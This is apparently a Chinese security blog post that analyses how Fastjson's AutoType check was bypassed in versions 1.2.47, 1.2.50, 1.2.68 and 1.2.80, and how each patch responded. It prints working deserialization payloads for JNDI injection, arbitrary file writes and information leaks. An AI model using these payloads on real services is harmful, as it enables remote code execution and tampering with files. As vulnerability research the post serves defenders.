Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

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0x01 漏洞信息

近期Fastjson Develop Team报告了Fastjson v1.2.80存在AutoType绕过反序列化漏洞,通报如下:

漏洞在特定条件下可以绕过默认关闭的AutoType限制,结合一个新的利用链,可实现RCE 。

0x02 AuthType 机制

Fastjson通过函数`parse`或者`parse-Object`来完成字符串的反序列化操作,并且可以通过`@type`来指定反序列化的类型。

Fastjson v1.2.24可以通过

'JdbcRowSetImpl`来实现JNDI注入:

{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://localhost:1389/test",   "autoCommit":true}

Fastjson v1.2.25推出了AutoType机制,在`DefaultJSONParser`中增加了 `checkAutoType`检查:

`checkAutoType`中存在黑白名单检查:

`autoTypeSupport`默认为`False` ,为了运行通过`@type`指定反序列化类型,正常情况下需要手动进行设置:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

同时还存在黑名单校验:

所以Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过,绝大部分都是寻找一个新的利用链来绕过黑名单,所以Fastjson官方的黑名单列表越来越大,但是更有意义的绕过显然是AutoType机制绕过,这样无需手动配置 `autoTypeSupport`也可能进行利用。

0x03 Fastjson v1.2.47 绕过

Payload 如下:

{    "x": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "y": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName": "ldap://localhost:1389/test",        "autoCommit": true    }}

在进入`checkAutoType`之前,调用

`TypeUtils#addBaseClassMappings`函数将常见类加载到缓存的`mapping`对象:

然后进入`checkAutoType` ,因为`auto-TypeSupport`默认为`False` ,

所以尝试从`mapping`或者`deseriali-zers.findClass`中加载类:

通过`deserializers#findClass` 可以找到`java.lang.Class` 类;

回到`DefaultJSONParser` ,一直进入到第358行获取的`deserializer`对象为 `MiscCodec`类型,一直往下走,通过函数`deserialze`开始反序列化操作:

通过`parser.paese`提取到`objVal`的值为:

`com.sun.rowset.JdbcRowSetImpl` 

继续往下走,一直到达如下判断:

跟进 `TypeUtils.loadClass` :

在程序上下文环境中加载

`com.sun.rowset.JdbcRowSetImpl`类型并加入到`mapping`中。

由于我们Payload传入2个Json对象,所以会再次调用`check-AutoType` :

此时在进行AutoType机制检查前已经返回了`clazz` :

所以实现了AutoType机制的绕过。在v1.2.48版本中将`java.lang.Class`加入了黑名单。

0x04 Fastjson v1.2.50 绕过

Payload 如下:

{    "@type":"java.lang.AutoCloseable",    "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",    "dataSourceName":"ldap://localhost:1389/test",    "command":"a"}

回到`checkAutoType`函数:

要想`expectClassFlag`取值为`True`,那么传入`checkAutoType`的`expectClass`类对象应该非空。

第一次从`parse`调用`checkAuto-Type`时,`expectClass`取值为`null` ,继续往下走:

如果在缓存`mapping`中能够匹配到类,`checkAutoType`将返回该类型对象。

Payload中用到的`java.lang.Auto-Closeable`正好位于缓存`mapping`

(`TypeUtils#addBaseClassMappings`)

继续往下走:

因为`clazz`取值为`java.lang.Auto-Closeable` :

所以获取的`ObjectDeserializer`对象为`JavaBeanDeserializer`类型跟进

`JavaBeanDeserializer#deserialze`

会再次调用`checkAutoType`,

此时会将第二个`@type` 和非空的`expectClass` 传进去:

此时因为`expectClass`非空,所以绕过了AuthType检查机制。同时后面通过 `TypeUtils#loadClass`加载类的过程中,调用了`isAssignableFrom`,用来判断反序列化的类是否实现了`expectClass`接口,如果是将返回反序列化类对象。

`oracle.jdbc.rowset.OracleJDBCRowSet`继承关系如下图所示:

后面实现 JNDI 注入的过程就不分析了。在 v1.2.51 版本的补丁中只是将 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加进入了黑名单。

0x05 Fastjson v1.2.68 绕过

严格意义上讲v1.2.68不是真正的AuthType绕过。

回顾前面的分析,由于 Fastjson并未将`java.lang.AutoCloseable`加入黑名单,所以理论上只要再寻找一个类继承于`java.lang.AutoCloseable` ,并且不在黑名单中,同时 get/set中存在可利用的操作即可。

Fastjson v1.2.68 绕过借助的类为`sun.rmi.server.MarshalOutputStream` ,继承关系如下:

最终可以实现任意文件写入,Payload 如下:

{    "@type": "java.lang.AutoCloseable",    "@type": "sun.rmi.server.MarshalOutputStream",    "out": {        "@type": "java.util.zip.InflaterOutputStream",        "out": {           "@type": "java.io.FileOutputStream",           "file": "/tmp/asdasd",           "append": true        },        "infl": {           "input": {               "array": "eJxLLE5JTCkGAAh5AnE=",               "limit": 14           }        },        "bufLen": "100"    },    "protocolVersion": 1}

AuthType绕过过程与v1.2.50一样,触发任意文件写入的过程就不进行分析了。

v1.2.69版本终于将`java.lang.Auto-Closeable`加入了黑名单,那么v1.2.50和v1.2.68的绕过方式也就无效了。

0x06  Fastjson v1.2.80 绕过

回顾v1.2.50和v1.2.68的绕过方式,主要是在`ObjectDeserializer`接口的子类 `JavaBeanDeserializer`中存在`expectClass`非空的`checkAuto-Type`调用,这也是绕过的关键。

顺着这个思路,我们继续在`Object-Deserializer`接口的其他子类中寻找`expectClass'非空的`checkAuto-Type`调用:

除了`JavaBeanDeserializer`之外,在子类`ThrowableDeserializer`的函数 `deserialze`中也存在满足条件的调用:

从`expressClass`定义来看,利用链类型必须继承于`Throwable` 。我们可以构造如下测试来调试一下解析过程(`java.lang.Exception`继承于 `Throwable`):

{  "@type":"java.lang.Exception",   "@type":"test",  "a":"test"}

第一次进入`checkAutoType`函数, `expressClass`参数为空:

尝试从缓存`mapping`中实例化 

`clazz`(`TypeUtils#addBaseClassMappings`已经将`java.lang.Exception` 加入了`mapping`):

往下走`getDeserializer`返回的`ObjectDeserializer` 为`Throwable-Deserializer`类型:

进入

`ThrowableDeserializer#deserialze` ,顺利到达`checkAutoType`:

与前面分析的绕过类似,第二次进入`checkAutoType` 时,`express-Class` 取值非空,从而实现绕过。

其实这种绕过方式在 2020 年就已经有大佬放出来了:

{  "x":{    "@type":"java.lang.Exception",    "@type":"org.openqa.selenium.WebDriverException"  },  "y":{    "$ref":"$x.systemInformation"  }}

这是一个信息泄露的利用链,这条链的分析网上已经不少了,这里就不重复了。最近官方通报漏洞应该是有人找到了能够 RCE 的利用链,查看 v1.2.81 的黑名单可以看到新增了不少 hash (但是还没分析出来是哪个链,研究出来了再分享给大家吧~)。

原文链接:

https://mp.weixin.qq.com/s/kjttmJHtBiuYHItdmVTEIA?notreplace=true


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